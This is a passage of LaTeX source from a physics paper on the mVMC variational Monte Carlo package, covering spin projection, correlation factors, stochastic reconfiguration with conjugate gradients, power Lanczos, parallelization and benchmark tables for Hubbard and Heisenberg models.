By using $T_{\vec{R}}$ and $e^{{\rm i}\vec{k}\tido{\cdot}\vec{R}}$,
the momentum projection is defined by Eq.~(\ref{Eq:momP}).
To define the momentum and point-group projections,
it is necessary to specify
the translational operations ($T_{\vec{p}}$) and the associate{d}
weight $g_{\alpha}(\vec{p})$
in the \verb|qptrans.def| with {the} keyword \verb|TransSym|.
By preparing the {file} \verb|qptrans.def|,
one can perform the desired
momentum and the point-group projections.
{For the anti-periodic conditions, it is necessary to consider the changes of signs in
the Pfaffian wave functions. Details are {shown} in \ref{sec:anti}.}
For the total-spin projection,
sum of the discrete freedoms becomes the
integration \imada{over}
the Euler angles in the spin space and
translational operation becomes the rotational operator $R(\Omega)$
in the spin space.
The associated character is given by \tohgoe{$P_{S}(\cos{\beta})$}.
Thus, the spin projection is given in Eq.~(\ref{Eq:spnP}).
Although it is possible to perform the spin projection
to the general Pfaffian wave function defined in Eq.~(\ref{Eq:Pf}),
where $S^{z}$ component is not conserved,
mVMC ver. 1.0 only supports spin projection for
anti-parallel Pfaffian wave functions defined in Eq.~(\ref{Eq:AP-Pf}).
Because total $S^{z}$ in $|\phi_{\rm A-Pf} \rangle$ is
{definitely} zero,
triple integration
{for} the spin projection
{is reduced to a}
single integration as follows:
\begin{align}
&{\cal L}_S|\phi_{\rm A-Pf} \rangle =\sum_{x}\ket{x}\frac{2S+1}{2}\int_{0}^{\pi} d\beta P_s(\cos \beta)\bra{x}e^{i\beta S^{y}}\ket{\phi_{\rm A-Pf}}.
\end{align}
{The integration is performed by using the Gauss-Legendre formula.}
We note that anti-parallel Pfaffian wave function is transformed as
\begin{align}
e^{i\beta S^{y}}\ket{\phi_{\rm A-Pf}}=
\left[\sum_{i, j}
\sum_{\sigma_i, \sigma_j}f_{ij}
\times\kappa(\sigma_{i},\sigma_{j})c_{i\sigma_{i}}^{\dag}c_{j\sigma_{j}}^{\dag} \right]^{N_{\rm e}/2}\ket{0},
\end{align}
where $\kappa(\sigma_{i},\sigma_{j})$ is defined as
\begin{align}
\kappa(\uparrow,\uparrow)&= -\cos{(\beta/2)}\sin{(\beta/2)},\\
\kappa(\uparrow,\downarrow)&= \cos{(\beta/2)}\cos{(\beta/2)},\\
\kappa(\downarrow,\uparrow)&= \sin{(\beta/2)}\sin{(\beta/2)},\\
\kappa(\downarrow,\downarrow)&= \cos{(\beta/2)}\sin{(\beta/2)}.
\end{align}
\subsubsection{Correlation factors}
To take into account the many-body correlations,
the Gutzwiller factors ${\cal P}_G$~\cite{Gutzwiller_PRL1963},
the Jastrow factors ${\cal P}_J$~\cite{Jastrow_PR1955,PRL_Capello2005},
the $m$-site doublon-holon correlation factors ${\cal P}_{d-h}^{(m)}$ ($m=2,4$)~\cite{Yokoyama_JPSJ1990}
are implemented in mVMC~\cite{Tahara_JPSJ2008}, which are defined as follows:
\begin{align}
&{\cal P}={\cal P}_G{\cal P}_J{\cal P}_{d-h}^{(2)}{\cal P}_{d-h}^{(4)},\\
&{\cal P}_G=\exp\left[ \sum_i g_i n_{i\uparrow} n_{i\downarrow} \right],\\
&{\cal P}_J=\exp\left[\frac{1}{2} \sum_{i\neq j} v_{ij} (n_i-1)(n_j-1)\right],\\
&{\cal P}_{d-h}^{(m)}= \exp \left[ \sum_t \sum_{n=0}^m (\alpha_{mnt}^d \sum_{i}\xi_{imnt}^d+\alpha_{mnt}^h \sum_{i}\xi_{imnt}^h)\right].
\end{align}
{In the definitions of the doublon-holon correlation factors,
$\alpha_{mnt}^{d}$ and $\alpha_{mnt}^{h}$, $\alpha_{4nt}^{d}$ are the variational parameters.
Real-space diagonal operators $\xi_{imnt}^{d}$ and $\xi_{imnt}^{h}$
are defined as follows:
When a doublon (holon) exists at the $i$th site
and $n$ holons (doublons) exist at the $m$-site neighbors defined by $t$ around $i$th site,
$\xi_{imnt}^{d}$ ($\xi_{imnt}^{h}$) become 1.
Otherwise $\xi_{imnt}^{d}$ or $\xi_{imnt}^{h}$ are 0.
}
We note {that} the above correlation factors are
diagonal
{in}
real-space
{representation}, i.e.,
\begin{align}
{\cal P}\ket{x}=P(x)\ket{x},
\end{align}
where the $P(x)$ is
{a}
\tohgoe{scalar} number.
By taking $g_{i}=-\infty$, it is possible
to completely
{eliminate}
the doublons in the real-space configurations.
Using this projection, we describe the spin 1/2 localized spins.
In mVMC,
one can specify the positions of the local spins
in \verb|LocSpn.def| with the keyword \verb|LocSpn|.
It has been shown that
the long-range Jastrow factors play important roles in describing
the Mott insulating phase~\cite{PRL_Capello2005}.
If the Jastrow factor becomes {long ranged}, i.e.,
the indices of the Jastrow factor run {over}
all the sites,
$v_{ij}$ often {gets} large and induce numerical instability.
\imada{By subtracting}
constant value from $v_{ij}$ and $g_{i}$,
\imada{we are able to stabilize the numerical computation without modifying the results.}
\subsection{Optimization method}
In this subsection, we describe the optimization
method used in mVMC.
The SR method
proposed by
{Sorella}~\tido{\cite{Sorella_PRB2001,Sorella_JCS2007}}
\tido{is} an efficient way for optimizing many variational parameters.
By using the SR method, it has been shown that
more than ten thousands variational parameters
can be simultaneously optimized.
The SR method largely relaxes the restrictions in the
variational wave functions, which
{allows
{to improve}}
the accuracy
of the variational Monte Carlo method.
The essence of the SR method is the imaginary-time evolution of the
wave functions in the restricted Hilbert space that is spanned by the
variational parameters as we explain in sec.~\ref{sec:SR}.
This means that the effective dimensions of the Hilbert space increase
by increasing the number of the variational parameters.
Thus, in principle, the accuracy of the {imaginary-time} evolution becomes high for
the wavefunctions with many-variational parameters.
In the SR method,
because
{taking derivatives}
of wavefunctions
is an important procedure,
we detail how to differentiate the wave functions in sec.~\ref{sec:SR}
and \ref{sec:diffPf}.
In the SR method,
it is necessary to solve the linear algebraic equation with respect to
the overlap matrix $S$.
Because the \tohgoe{dimension} of $S$ \tohgoe{is}
square of {the} \tohgoe{number of} the variational parameters,
storing the matrix $S$ is the most \tohgoe{memory-consuming} part in mVMC and
it determines the applicable range of mVMC.
To relax the limitation,
a conjugate gradient (CG) method for the SR method is proposed (SR-CG method)~\cite{Neuscamman_PRB2012}.
In this method, because it is not necessary to explicitly
{compute} $S$,
the required memory in mVMC is dramatically reduced.
By using this method, it is now possible to
optimize the variational parameters up to the order of hundred thousands.
We detail the SR-CG method in sec.~\ref{sec:CG}.
\subsubsection{Stochastic reconfiguration method}
\label{sec:SR}
The imaginary-time-dependent Schr\"{o}dinger equation
is given by
\begin{align}
\frac{d}{d\tau}\ket{{\psi}(\tau)}=-{H}\ket{{\psi}(\tau)}.
\end{align}
By substituting the normalized wave
function $\ket{\bar{\psi}(\tau)}$ defined by
\begin{align}
\ket{\bar{\psi}(\tau)}=\frac{\ket{\psi(\tau)}}{\sqrt{\braket{\psi(\tau)|\psi(\tau)}}}
\end{align}
into the Schr\"{o}dinger equation, we obtain
\begin{align}
\frac{d}{d\tau}\ket{\bar{\psi}(\tau)}=-({H}-\langle{H}\rangle)\ket{\bar{\psi}(\tau)}.
\end{align}
If the wavefunction $\ket{\bar{\psi}(\tau)}$ is represented by
the variational parameter $\alpha(\tau)$,
the Schr\"{o}dinger equation is rewritten as
\begin{align}
\sum_{k}\dot{\alpha_k}\frac{\partial }{\partial \alpha_{k}}\ket{\bar{\psi}(\tau)}=-({H}-\langle{H}\rangle)\ket{\bar{\psi}(\tau)}.
\end{align}
where $\dot{\alpha_k}$ is the derivative of the $k$th variational parameter $\alpha_k$ with respect to $\tau$.
By minimizing the $L_{2}$-norm of the Schr\"{o}dinger equation with respect to $\dot{\alpha}_{k}$, i.e.,
\begin{align}
\min_{\dot{\alpha}_{k}}\left\|\sum_{k}\dot{\alpha}_k\ket{\partial_{\alpha_k}\bar{\psi}(\alpha(\tau))}+({H}-\langle{H}\rangle)\ket{\bar{\psi}(\alpha(\tau))}\right\|,
\end{align}
we can obtain the best imaginary-time evolution in the restricted Hilbert space.
This minimization principle is called time-dependent variational
principle (TDVP)~\cite{Mclachlan_MP1964}, and it is commonly
applied to the {real- or imaginary- time evolution}~\cite{Heller1976,Beck20001,Haegeman2011,Carleo2012,Haegeman2013,Ido_PRB2015,Cevolani2015,Lanata2015,Takai_JPSJ2016,Czarnik2016,Czarnik2016a}.
From the TDVP, we obtain the following equation
\begin{align}
\sum_{k}\dot{\alpha}_k{\rm Re}\braket{\partial_{\alpha_k}\bar{\psi}|\partial_{\alpha_m}\bar{\psi}}=-{\rm Re}\braket{\bar{\psi}|({H}-\langle{H}\rangle)|\partial_{\alpha_m}\bar{\psi}}.
\end{align}
By discretizing the derivative $\dot{\alpha}_k$ as $\Delta\alpha_k/\Delta \tau$,
we obtain the formula for updating the variational parameters as
\begin{align}
\Delta \alpha_k=-\Delta \tau \sum_{m}S_{km}^{-1}g_{m},
\label{eq:SR_equation_system}
\end{align}
where
\begin{eqnarray}
S_{km}&\equiv&{\rm Re}\braket{\partial_{\alpha_k}\bar{\psi}|\partial_{\alpha_m}\bar{\psi}}\nonumber\\
&=&{\rm Re}\langle {{O}_k^* {O}_m}\rangle-{\rm Re}\langle {{O}_k} \rangle{\rm Re}\langle{{O}_m}\rangle
\end{eqnarray}
and
\begin{eqnarray}
g_{m}&\equiv&{\rm Re}\braket{\bar{\psi}|({H}-\langle{H}\rangle)|\partial_{\alpha_m}\bar{\psi}}\nonumber\\
&=&{\rm Re}\langle {{H} {O}_m}\rangle-\langle {{H}} \rangle{\rm Re}\langle{{O}_m}\rangle.
\end{eqnarray}
$O^*$ means the complex conjugate of $O$.
The operator ${O}_k$ is defined as
\begin{align}
{O}_k=\sum_x\ket{x}\left(\frac{1}{\braket{x|\psi}}\frac{\partial}{\partial \alpha_k}\braket{x|\psi}\right)\bra{x},
\end{align}
where $\ket{x}$ is a real space configuration of electrons.
Here we note that the set of the real
space configurations $\{\ket{x}\}$ is orthogonal and complete.
To calculate $O_{k}$, it is necessary to
differentiate {the} inner product $\braket{x|\psi}$ with respect
to
{a}
variational parameter $\alpha_{k}$.
When $\alpha_{k}$ is the variational parameter
of the correlation factor,
it is easy to perform the differentiation.
For example, if $\alpha_{k}$ is the Gutzwiller factor
at $k$th site
($\alpha_{k}=g_{k}$),
$\braket{x|\psi}$ becomes $e^{g_{k}D_{k}(x)}\braket{x|\psi^{\prime}}$, where
$D_{k}(x)$ is doublon at $k$th site and $\ket{\psi^{\prime}}$
is the wavefunction without Gutzwiller factors $g_{k}$.
Thus, the differentiation becomes
\begin{align}
\frac{\partial\braket{x|\psi}}{\partial g_{k}}
=D_{k}(x)\braket{x|\psi}.
\end{align}
When $\alpha_{k}$ is the variational parameters for the
Pfaffian wave functions,
differentiation of the Pfaffian ${\rm Pf}(X)$ is necessary.
Because the coefficient $F_{AB}$ of the Pfaffian wave function
is a complex number \tohgoe{[$F_{AB}=F_{AB}^{R}+{\rm i}F_{AB}^{I}$, ${\rm Re}(F_{AB})=F_{AB}^{R}$, ${\rm Im}(F_{AB})=F_{AB}^{I}$]},
it is necessary to consider the differentiations
with respect to both the real part of $F_{AB}$ and the imaginary part of $F_{AB}$.
By using the following formula for the Pfaffian
\begin{align}
\frac{\partial {\rm Pf}[A(x)]}{\partial x}=
\frac{1}{2}{\rm Pf}[A(x)]{\rm Tr}\Big[A^{-1}\frac{\partial A(x)}{\partial x}\tido{\Big]},
\label{Eq:DiffPf}
\end{align}
we obtain
\begin{align}
\frac{\partial {\rm Pf}(X)}{\partial F_{AB}^{R}}&=-{\rm Pf}(X)(X^{-1})_{AB},\\
\frac{\partial {\rm Pf}(X)}{\partial F_{AB}^{I}}&=-{\rm i}\times{\rm Pf}(X)(X^{-1})_{AB}.
\end{align}
Detailed calculations including the proof of Eq.~(\ref{Eq:DiffPf}) are
shown in \ref{sec:diffPf}.
For the spin-projected wavefunctions, coefficients of $F_{IJ}$ is given by
\begin{align}
F_{IJ}&=f_{ij}\times \tmorita{\kappa(\sigma_i,\sigma_j)}.
\end{align}
In this case, differentiation with respect to $f_{ab}$ are given as
{
\begin{align}
\frac{\partial {\rm Pf}(X)}{\partial f_{ab}^{R}}&=-{\rm Pf}(X)\sum_{\sigma,\sigma^{\prime}}\kappa(\sigma,\sigma^{\prime})(X^{-1})_{a\sigma,b\sigma^{\prime}},\notag \\
\frac{\partial {\rm Pf}(X)}{\partial f_{ab}^{I}}&=-{\rm i}\times{\rm Pf}(X)\sum_{\sigma,\sigma^{\prime}}\kappa(\sigma,\sigma^{\prime})(X^{-1})_{a\sigma,b\sigma^{\prime}}.
\label{eq:diffij}
\end{align}
}
Detailed calculations are given in \ref{sec:diffPf}.
\subsubsection{Conjugate gradient (CG) method}
\label{sec:CG}
The overlap matrix $S$ is positive definite and
thus a linear equation system (\ref{eq:SR_equation_system}) can be
solved by using a Cholesky decomposition $S = LL^\dagger$, where $L$ is a
lower triangular matrix~\cite{GolubVanLoan, lapack}.
{In the Cholesky decomposition,
it is necessary to store $S$, whose dimension is $O(N_p^2)$.
Here, $N_{p}$ is
\imada{the} size of $S$ matrix, i.e.,
\imada{the} number of variational parameters.
For more than a hundred thousand ($10^5$) parameters,
it is difficult to store $S$ matrix in single node and
the memory cost determines the applicable range of mVMC.
}
Neuscamman and co-workers~\cite{Neuscamman_PRB2012} succeeded
\tido{in optimizing}
$10^{5}$ parameters
{with} the conjugate
gradient (CG) method, which requires only a matrix-vector product to solve a linear equation system.
They derived
{a way}
to multiply
\tg{an arbitrary vector $\vec{v}$}
{by}
without storing $S$ itself,
which reduces the numerical cost greatly.
We describe their scheme (SR-CG method) in the following.
In the VMC scheme, expectation values $\braket{O_k}$ and $\braket{O_k^*O_m}$ are calculated as mean values over Monte Carlo samples as
\begin{equation}
\Braket{O_k} = \frac{1}{N_\text{MC}} \sum_\mu \tilde{O}_{k\mu}
\end{equation}
and
\begin{equation}
\Braket{O_k^* O_m} = \frac{1}{N_\text{MC}} \sum_\mu \tilde{O}_{k\mu}^* \tilde{O}_{m\mu},
\end{equation}
where $\tilde{O}_{k\mu}$ is a value of $O_k$ of the $\mu$th sample $\ket{x_\mu}$, that is,
\begin{equation}
\tilde{O}_{k\mu} = \frac{\braket{\psi|O_k|x_\mu}}{\braket{\psi|x_\mu}}.
\end{equation}
By using these form, we can multiply $S$
\tg{by} an arbitrary real-valued vector $\vec{v}$ as
\begin{equation}
y_k = \sum_m S_{km} v_m = z^{(1)}_k - z^{(2)}_k,
\end{equation}
where
\begin{align}
z^{(1)}_k &= \sum_m {\rm Re}\Braket{O_k^* O_m} \yoshimi{v_m} = {\rm Re}\left[\frac{1}{N_\text{MC}} \sum_\mu \tilde{O}_{k\mu}^* \left(\sum_m \tilde{O}^\top_{\mu m} v_m\right)\right],\\
z^{(2)}_k &= {\rm Re}\Braket{O_k} \sum_m {\rm Re}\Braket{O_m} v_m.
\end{align}
This product requires $2(N_\text{MC}+1)N_p = O(N_pN_\text{MC})$
product,
and needs to store $N_p \times N_\text{MC}$ sized matrix $\tilde{O}$ instead of $N_p \times N_p$ sized matrix $S$.
Once a matrix-vector product $\vec{y}=S\vec{v}$ is able to be calculated,
we can also solve a linear equation system (\ref{eq:SR_equation_system}) by the well-known CG method (Algorithm~\ref{alg:CG}).
Since one iteration includes one matrix-vector product with $O(N_p N_\text{MC})$ products and $5N_p$ products,
and the CG method converges within $N_p$ iterations,
the computational cost of SR-CG in the worst case is $O(N_p^2 N_\text{MC}).$
Therefore, the SR-CG algorithm reduces the numerical cost if $N_\text{MC} < N_p$.
For {details} of the CG method, the readers
{are referred}
\tido{to} standard numerical linear algebra textbooks,
{for example, Ref.~\cite{GolubVanLoan}.}
\begin{algorithm}[tb]
\caption{CG method for linear equation system $A\vec{x}=\vec{b}$
}
\begin{algorithmic}[1]
\Procedure{CG}{$A,\vec{b},\vec{x}_0,\varepsilon^2,k_\text{max}$}
\State $\epsilon \gets \varepsilon^2\|\vec{b}\|_2^2$ \Comment{termination threshold}
\State $\vec{x} \gets \vec{x}_0$ \Comment{initial guess}
\State $\vec{r} \gets \vec{b} - A\vec{x}$ \Comment{residue vector}
\State $\vec{p} \gets \vec{r}$ \Comment{search direction}
\State $\rho \gets \|\vec{r}\|_2^2$
\For{$k \gets 1\dots k_\text{max}$} \Comment{$k_\text{max}$: maximum \# of iterations}
\State $\vec{w} \gets A\vec{p}$
\State $\alpha \gets \rho / \left(\vec{p}^\top \vec{w}\right)$
\State $\vec{x} \gets \vec{x} + \alpha \vec{p}$
\State $\vec{r} \gets \vec{r} - \alpha \vec{w}$
\State $\rho' \gets \|\vec{r}\|_2^2$
\If{$\rho' < \epsilon$}
\State \textbf{break}
\EndIf
\State $\vec{p} \gets \vec{r} + \left(\rho'/\rho\right)\vec{p}$
\State $\rho \gets \rho'$
\EndFor
\State \textbf{return} $\vec{x}$
\EndProcedure
\end{algorithmic}
\label{alg:CG}
\end{algorithm}
\subsection{Power Lanczos method}
In the power-Lanczos method~\cite{Heeb_ZPhys1993}, by multiplying
\tg{the wave functions by the Hamiltonian}, we systematically improve
the accuracy of the wave functions.
We explain the basics of the power-Lanczos method in
\tohgoe{this} subsection.
The wave function with the $n$th-step Lanczos iterations is defined as
\begin{align}
\ket{\psi_{\tido{N}}}=(1+\sum_{n=1}^{N}\alpha_{n}H^{n})\ket{\psi},
\end{align}
where $\alpha_{n}$ is a kind of
variational parameter.
After the $n$th-step Lanczos iterations,
$\alpha_{n}$ are determined by minimizing the energy as follows
\begin{align}
\min_{\vec{\alpha}} E_{\tido{N}}=\tido{\min_{\vec{\alpha}}}\frac{\braket{\psi_{\tido{N}}|H|\psi_{\tido{N}}}}{\braket{\psi_{\tido{N}}|\psi_{\tido{N}}}},
\end{align}
where $\vec{\alpha}=(\alpha_{1},\alpha_{2},\dots,\alpha_{N})$.
In mVMC, the first-step Lanczos iteration is implemented and
the energy is calculated as
\begin{align}
E_{1}(\alpha_{1}) =\frac{\braket{\psi_{1}|H|\psi_{1}}}{\braket{\psi_{1}|\psi_{1}}}
=\frac{h_1 + \alpha_{1}(h_{2(20)} + h_{2(11)}) + \alpha_{1}^2 h_{3(12)}}{1 + 2\alpha_{1} h_1 + \alpha_{1}^2 h_{2(11)}},
\end{align}
where we define $h_1$, $h_{2(11)},~h_{2(20)},$ and $h_{3(12)}$ as
\begin{align}
&h_1 =\sum_{x} \rho(x) F^{\dag}(x, {H}),\\
&h_{2(11)}=\sum_{x} \rho(x) F^{\dag}(x, {H}) F(x, {H}),\\
&h_{2(20)}=\sum_{x} \rho(x) F^{\dag}(x, {H}^2),\\
&h_{3(12)}=\sum_{x} \rho(x) F^{\dag}(x, {H})F(x, {H}^2),\\
& \rho(x)=\frac{|\braket{\psi|x}|^2}{\braket{\psi|\psi}},~F(x,{A})=\frac{\braket{x|A|\psi}}{\braket{x|\psi}}.
\end{align}
From the condition
\begin{align}
\frac{\partial E_{1}(\alpha_{1})}{\partial \alpha_{1}}=0,
\end{align}
i.e., by solving the quadratic equations, we can determine the optimized {value of the parameter} $\alpha_{1}$.
By using the optimized $\alpha_{1}$, we can calculate
other expected values in a similar way.
\subsection{Parallelization}
\label{sec:Para}
mVMC supports MPI/OpenMP hybrid parallelization. We adopt different
parallelization approaches in the Monte Carlo method and the
optimization method as shown {in} Fig.\ref{fig:parallel}.
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=6.5cm]{Fig6.pdf}
\caption{Parallelization of mVMC calculations. The vertical lines
indicate MPI processes. In this figure, four Monte Carlo samplers
generate the real-space configurations and each sampler is
parallelized with four MPI processes.}
\label{fig:parallel}
\end{center}
\end{figure}
In the Monte Carlo method, $N_\text{sampler}$ independent Monte Carlo
samplers are created. The number of MPI processes per sampler is unity
by default but can be specified from the input file. First each sampler
generates $N_\text{MC}/N_\text{sampler}$ real-space configurations
$\{|x\rangle\}$. In each MC sampler, the iterations of loops for
summations in the quantum-number projections
(\ref{Eq:momP},\ref{Eq:pointP},\ref{Eq:spnP}) are parallelized using
both MPI and OpenMP. Then the real-space configurations are distributed
among MPI processes and physical quantities
$\langle\psi|A|x\rangle/\langle\psi|x\rangle$ are calculated
independently. The operators $\{A\}$ are distributed among OpenMP
threads here. Finally, summations over the Monte Carlo samples
(\ref{Eq:MC}) are executed by global reduction operations with
collective communication.
In the SR method, if the CG method is not used, the linear equation
(\ref{eq:SR_equation_system}) is solved by using ScaLAPACK routines. The
elements of the overlap matrix $S$ are distributed in block-cyclic
fashion. In the CG method, multiplication between the matrix $S$ and a
vector is parallelized in the same manner as {in} the Monte Carlo method.
\section{Benchmark results}
In this section,
we show benchmark results of mVMC calculations
for several standard models in the condensed matter physics
such as the Hubbard model,
the Heisenberg model and the Kondo-lattice model.
{For these models, we compare the results by
mVMC
\imada{with} the results \imada{either} by the exact diagonalization
\imada{or} by the unbiased quantum Monte Carlo calculations.
From these comparisons,
we show that mVMC can generate highly accurate
wave functions for the ground states and
the low-energy excited states in
these standard models.
}
\subsection{Hubbard model and Heisenberg model on the square lattice}
We show examples of the mVMC calculations for
the Hubbard and Heisenberg {models} on the square lattice.
We compare the mVMC calculation
with the exact diagonalization and the available
unbiased quantum Monte Carlo calculations in the literature.
\subsubsection{Comparison with exact diagonalization}
By using Standard mode in mVMC, it is easy to
start the calculation for the Hubbard model.
An example of the input file for
$4\times4$-site Hubbard model at half filling is shown as follows:
\begin{verbatim}
model = "FermionHubbard"
lattice = "square"
W = 4
L = 4
Wsub = 2
Lsub = 2
t = 1.0
U = 4.0
nelec = 16
2Sz = 0
NMPTrans = 4
\end{verbatim}
In Fig.~\ref{fig:SR},
we show typical optimization processes for
the Hubbard model.
We take two initial states in mVMC calculations;
one is \yoshimi{a} random initial state, i.e.,
each variational parameter of the
{pair-product} part is
given by
pseudo random numbers.
Another
initial state is the {unrestricted Hartree-Fock (UHF)}
solutions.
Following the relation between the Slater determinant
and the Pfaffian wave functions [see Eq.(\ref{eq:fijSL})],
we generate the variational parameters of the
Pfaffian wave function from the Hartree-Fock solutions.
The \yoshimi{program} for the
{UHF} calculations
is included in mVMC package.
As shown in Fig.~\ref{fig:SR},
by taking the
Hartree-Fock solution as an initial state,
optimization becomes faster
{than} \tohgoe{with}
{a} random initial
\tohgoe{state}.
This result shows that
preparing {a} proper initial state
is important for efficient optimization.
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=7.5cm]{Fig7.pdf}
\caption{Optimization processes for $4\times4$ Hubbard model for $U=4$ and $t=1$ at half filling.
By taking the
UHF solutions as an initial state, one can reach the ground state
faster than the random initial states.}
\label{fig:SR}
\end{center}
\end{figure}
We examine the accuracy of mVMC calculation by
comparing
\yoshimi{to} the exact diagonalization \yoshimi{result}.
In mVMC calculations, we can improve the accuracy of
the wave function by extending sublattice structures in
the variational wave functions because
larger sublattice structures can take into account the long-range fluctuations.
In
\tido{T}able~\ref{table:L4Hub},
we compare several physical
\tido{quantities} such as
the
energy per site $E/N_{\rm s}$,
the doublon density $D$,
the
nearest-neighbor spin correlations $S_{\rm nn}$,
and the peak value of the spin structure factor $\tilde{S}(\vec{k})$.
Definitions of the physical
\tido{quantities} are given
as follows:
{
\begin{align}
D &=\frac{1}{N_{\rm s}}\sum_{i}\braket{ n_{i\uparrow}n_{i\downarrow}}, \\
S_{\rm nn} &=\frac{1}{4N_{\rm s}}\sum_{i,\mu}\braket{\vec{S}_{\vec{r}_{i}}\cdot\vec{S}_{\vec{r}_{i}+\vec{e}_{\mu}}}, \\
\tilde{S}(\vec{k})&=\frac{S({\vec{k})}}{3N_{\rm s}},
\end{align}
}
where $\vec{e}_{\mu}$ denotes the
nearest-neighbor translational vector,
{and $S(\vec{k})$ is defined in Eq.~(\ref{eq:Sk}).}
One can see that the \imada{accuracy}
of the
energy
\imada{is}
improved by taking the large sublattice structures. In addition to the energy,
it is shown that accuracies of
other physical
\tido{quantities} are also improved.
{We also perform the first-step power Lanczos calculation,
which can systematically improves the accuracy of the
wave functions.
As a result, we show that the first-step power Lanczos
{iteration improves}
the accuracy of the energy
{although other physical properties are not sensitive to the
Lanczos iteration at
{least} for the system sizes studied here.}
The relative error
\begin{equation}
\eta=|E_{\rm ED}-E_{\rm mVMC}|/|E_{\rm ED}|
\end{equation}
becomes about $\tido{10^{-4}}$(\tido{$10^{-2}$}\%)
for the best mVMC calculation [mVMC($4\times4$)+Lanczos].
{This result shows that mVMC can generate highly accurate wavefunctions
in the Hubbard model.}
}
\begin{table*}[tb!]
\caption{Comparisons with exact diagonalization \yoshimi{(ED)}
for $4\times4$ Hubbard model with $U=4$ and $t=1$ at half filling.
\yoshimi{ED} is done by using $\mathcal{H}\Phi$~\cite{hphi,hphi_ma}.
mVMC($2\times2$\tido{/$4\times4$}) means $f_{ij}$ has \tido{the} $2\times2$\tido{/$4\times 4$} sublattice structure
$N_p$ is \imada{the}
size of $S$ matrix, \imada{which is the number of variational parameters}
and $\vec{k}_{\rm peak}=(\pi,\pi)$.
\imada{Error bars are denoted by the parentheses in the last digit.}
Lanczos means that the first-step Lanczos calculations on top of the
mVMC calculations.
{In the Lanczos calculations, to reduce the numerical cost,
we calculate the diagonal spin correlations such as
$S^{z}_{\rm nn}=3/4N_{\rm s}\sum_{i,\mu} \langle S^{z}_{\vec{r}_{i}}\cdot S^{z}_{\vec{r}_{i}+\vec{e}_{\mu}}\rangle$
and
$\tilde{S}^{z}(\vec{k})=S^{z}(\vec{k})/N_{\rm s}$, which are
equivalent to $S_{\rm nn}$ and $\tilde{S}(\vec{k})$
when the spin-rotational symmetry is preserved.}
}
\begin{center}
\begin{tabular}{llllll}
\hline
& $E/N_{\rm s}$ & $D$ & $S_{\rm nn}$ & $\tilde{S}(\vec{k}_{\rm peak})$ & {$N_{p}$} \\ \hline
ED & -0.85136 & 0.11512 & -0.2063 & 0.05699 & - \\
mVMC($2\times2$) & -0.84985(3) & 0.1155(1) & -0.2057(2) & 0.05762(4) & 74 \\
mVMC($2\times2$)+Lanczos & -0.85100(2) & 0.1156(1) & -0.2054(8) & 0.05736(2) & 74 \\
mVMC($4\times4$) & -0.85070(2) & 0.1151(1) & -0.2065(1) & 0.05737(2) & 266 \\
mVMC($4\times4$)+Lanczos & -0.85122(1) & 0.1151(1) & -0.2072(4) & 0.0576(1) & 266 \\
\hline
\end{tabular}
\end{center}
\label{table:L4Hub}
\end{table*}
Next, in Table \ref{table:L4Hei}, we show the results for the
Heisenberg model on the square lattice,
which is a strong coupling limit of the
Hubbard model at half filling.
An example of the input file for
the $4\times4$-site Heisenberg model is shown as follows:
\begin{verbatim}
model = "Spin"
lattice = "square"
W = 4
L = 4
Wsub = 2
Lsub = 2
J = 1.0
2Sz = 0
NMPTrans = 4
\end{verbatim}
Because the exact diagonalization can be performed up to $6\times 6$ {square lattice}
within the realistic numerical cost,
we compare mVMC calculations
\yoshimi{to} exact diagonalization \yoshimi{results} for
\tido{the} $4\times 4$ and $6\times 6$ Heisenberg model. In addition to the energy,
we calculate the nearest-neighbor spin correlations $S_{\rm nn}$,
the next-nearest-neighbor spin correlations $S_{\rm nnn}$, and
the spin structure factors $\tilde{S}(\vec{k}_{\rm peak})$.
Definitions of the physical
\tido{quantities} are the same as those
of the Hubbard model.
As {it} is shown in the Hubbard model,
by taking
{a}
large sublattice structure
and performing the power Lanczos method,
the accuracies of the wave functions are improved.
For the best mVMC calculations,
the relative error $\eta$ becomes
\tido{$10^{-8}$}(\tido{$10^{-6}$}\%) for $L=4$, and
\tido{$10^{-5}$}(\tido{$10^{-3}$}\%) for $L=6$.
For $L=4$, because the Hilbert space is small (about 16000),
mVMC with $4\times4$ sublattice structure gives nearly
{the} exact ground-state energy.
In this situation,
the power-Lanczos calculations become unstable
because the variance becomes almost zero.
Thus, we do not show the results of the power-Lanczos method
{for mVMC($4\times4$)}
in \tido{T}able \ref{table:L4Hei}.
\begin{table*}[tb!]
\caption{Comparisons with exact diagonalization for $4\times4$ and $6\times6$ Heisenberg model
with $J=1$.
We note $\vec{k}_{\rm peak}=(\pi,\pi)$.
The relative errors $\eta$ become
$10^{-6}$\% for $L=4$ and $10^{-3}$\% for $L=6$, respectively.
{The definitions of the spin correlations in the Lanczos method
\imada{and $N_{p}$} are same as those
of Table \ref{table:L4Hub}.}}
\begin{center}
\begin{tabular}{llllll}
\hline
($N_{\rm s}=4\times4$) & $E/N_{\rm s}$ & $S_{\rm nn}$ & $S_{\rm nnn}$ & $\tilde{S}(\vec{k}_{\rm peak})$ & {$N_{p}$} \\ \hline
ED & -0.70178020 & -0.35089010 & 0.21376 & 0.09217 & - \\
mVMC($2\times2$) & -0.701765(2) & -0.350883(1) & 0.2136(1) & 0.09216(3) & 64 \\
mVMC($2\times2$)+Lanczos & -0.701780(1) & -0.3517(5) & 0.214(1) & 0.0924(2) & 64 \\
mVMC($4\times4$) & -0.70178015(8) & -0.35089007(4) & 0.2139(4) & 0.0922(1) & 256 \\
\hline
($N_{\rm s}=6\times6$) & $E/N_{\rm s}$ & $S_{\rm nn}$ & $S_{\rm nnn}$ & $\tilde{S}(\vec{k}_{\rm peak})$ & {$N_{p}$} \\ \hline
ED & -0.678872 & -0.33943607 & 0.207402499 & 0.069945 & - \\
mVMC($2\times2$) & -0.67846(1) & -0.33923(1) & 0.20742(3) & 0.07021(2) & 144 \\
mVMC($2\times2$)+Lanczos & -0.678840(4) & -0.339(1) & 0.207(1) & 0.0698(3) & 144 \\
mVMC($6\times6$) & -0.678865(1) & -0.3394326(4) & 0.20735(4) & 0.06993(3) & 1296 \\
mVMC($6\times6$)+Lanczos & -0.678871(1) & -0.3391(5) & 0.2071(6) & 0.0699(2) & 1296 \\
\hline
\end{tabular}
\end{center}
\label{table:L4Hei}
\end{table*}
\begin{figure}[tb!]
\begin{center}
\includegraphics[width=7.5cm]{Fig8.pdf}
\caption{ Size-extrapolation of the spin structure factors
for the Hubbard model with $U/t=4$ on the square lattice
and the Heisenberg model on the square lattice.
